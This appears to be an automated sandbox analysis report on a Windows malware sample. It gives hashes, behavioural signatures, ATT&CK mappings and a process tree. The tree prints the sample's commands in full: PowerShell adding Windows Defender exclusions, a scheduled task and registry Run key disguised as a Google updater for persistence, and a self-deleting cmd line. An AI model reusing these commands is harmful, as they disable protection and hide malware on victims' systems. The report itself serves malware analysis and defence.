67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
452s
max time network
1174s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
06/06/2024, 09:32

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General

Target

qM5GMXBk6hJE6Y5e (27).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

execution

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1588 created 3580	1588	qM5GMXBk6hJE6Y5e (27).exe	56
PID 1588 created 3580	1588	qM5GMXBk6hJE6Y5e (27).exe	56
PID 1588 created 3580	1588	qM5GMXBk6hJE6Y5e (27).exe	56
PID 1588 created 3580	1588	qM5GMXBk6hJE6Y5e (27).exe	56

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1604	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (27).exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1588	qM5GMXBk6hJE6Y5e (27).exe
1588	qM5GMXBk6hJE6Y5e (27).exe
1604	powershell.exe
1604	powershell.exe
1588	qM5GMXBk6hJE6Y5e (27).exe
1588	qM5GMXBk6hJE6Y5e (27).exe
4788	powershell.exe
4788	powershell.exe
1588	qM5GMXBk6hJE6Y5e (27).exe
1588	qM5GMXBk6hJE6Y5e (27).exe
1588	qM5GMXBk6hJE6Y5e (27).exe
1588	qM5GMXBk6hJE6Y5e (27).exe
5388	powershell.exe
5388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeIncreaseQuotaPrivilege	4788	powershell.exe
Token: SeSecurityPrivilege	4788	powershell.exe
Token: SeTakeOwnershipPrivilege	4788	powershell.exe
Token: SeLoadDriverPrivilege	4788	powershell.exe
Token: SeSystemProfilePrivilege	4788	powershell.exe
Token: SeSystemtimePrivilege	4788	powershell.exe
Token: SeProfSingleProcessPrivilege	4788	powershell.exe
Token: SeIncBasePriorityPrivilege	4788	powershell.exe
Token: SeCreatePagefilePrivilege	4788	powershell.exe
Token: SeBackupPrivilege	4788	powershell.exe
Token: SeRestorePrivilege	4788	powershell.exe
Token: SeShutdownPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeSystemEnvironmentPrivilege	4788	powershell.exe
Token: SeRemoteShutdownPrivilege	4788	powershell.exe
Token: SeUndockPrivilege	4788	powershell.exe
Token: SeManageVolumePrivilege	4788	powershell.exe
Token: 33	4788	powershell.exe
Token: 34	4788	powershell.exe
Token: 35	4788	powershell.exe
Token: 36	4788	powershell.exe
Token: SeIncreaseQuotaPrivilege	4788	powershell.exe
Token: SeSecurityPrivilege	4788	powershell.exe
Token: SeTakeOwnershipPrivilege	4788	powershell.exe
Token: SeLoadDriverPrivilege	4788	powershell.exe
Token: SeSystemProfilePrivilege	4788	powershell.exe
Token: SeSystemtimePrivilege	4788	powershell.exe
Token: SeProfSingleProcessPrivilege	4788	powershell.exe
Token: SeIncBasePriorityPrivilege	4788	powershell.exe
Token: SeCreatePagefilePrivilege	4788	powershell.exe
Token: SeBackupPrivilege	4788	powershell.exe
Token: SeRestorePrivilege	4788	powershell.exe
Token: SeShutdownPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeSystemEnvironmentPrivilege	4788	powershell.exe
Token: SeRemoteShutdownPrivilege	4788	powershell.exe
Token: SeUndockPrivilege	4788	powershell.exe
Token: SeManageVolumePrivilege	4788	powershell.exe
Token: 33	4788	powershell.exe
Token: 34	4788	powershell.exe
Token: 35	4788	powershell.exe
Token: 36	4788	powershell.exe
Token: SeIncreaseQuotaPrivilege	4788	powershell.exe
Token: SeSecurityPrivilege	4788	powershell.exe
Token: SeTakeOwnershipPrivilege	4788	powershell.exe
Token: SeLoadDriverPrivilege	4788	powershell.exe
Token: SeSystemProfilePrivilege	4788	powershell.exe
Token: SeSystemtimePrivilege	4788	powershell.exe
Token: SeProfSingleProcessPrivilege	4788	powershell.exe
Token: SeIncBasePriorityPrivilege	4788	powershell.exe
Token: SeCreatePagefilePrivilege	4788	powershell.exe
Token: SeBackupPrivilege	4788	powershell.exe
Token: SeRestorePrivilege	4788	powershell.exe
Token: SeShutdownPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeSystemEnvironmentPrivilege	4788	powershell.exe
Token: SeRemoteShutdownPrivilege	4788	powershell.exe
Token: SeUndockPrivilege	4788	powershell.exe
Token: SeManageVolumePrivilege	4788	powershell.exe
Token: 33	4788	powershell.exe
Token: 34	4788	powershell.exe
Token: 35	4788	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 6016 wrote to memory of 2376	6016	cmd.exe	101
PID 6016 wrote to memory of 2376	6016	cmd.exe	101
PID 5388 wrote to memory of 636	5388	powershell.exe	102
PID 5388 wrote to memory of 636	5388	powershell.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3580
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (27).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sms2iqv2.c00.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1588-0-0x00007FF7A8850000-0x00007FF7A8A61000-memory.dmp

Filesize
2.1MB

Download
memory/1588-34-0x00007FF7A8850000-0x00007FF7A8A61000-memory.dmp

Filesize
2.1MB

Download
memory/1604-12-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/1604-13-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/1604-16-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/1604-2-0x000001B6E0A70000-0x000001B6E0A92000-memory.dmp

Filesize
136KB

Download
memory/1604-1-0x00007FFC528B3000-0x00007FFC528B5000-memory.dmp

Filesize
8KB

Download
memory/4788-28-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/4788-29-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/4788-30-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/4788-31-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download
memory/4788-32-0x00007FFC528B0000-0x00007FFC53371000-memory.dmp

Filesize
10.8MB

Download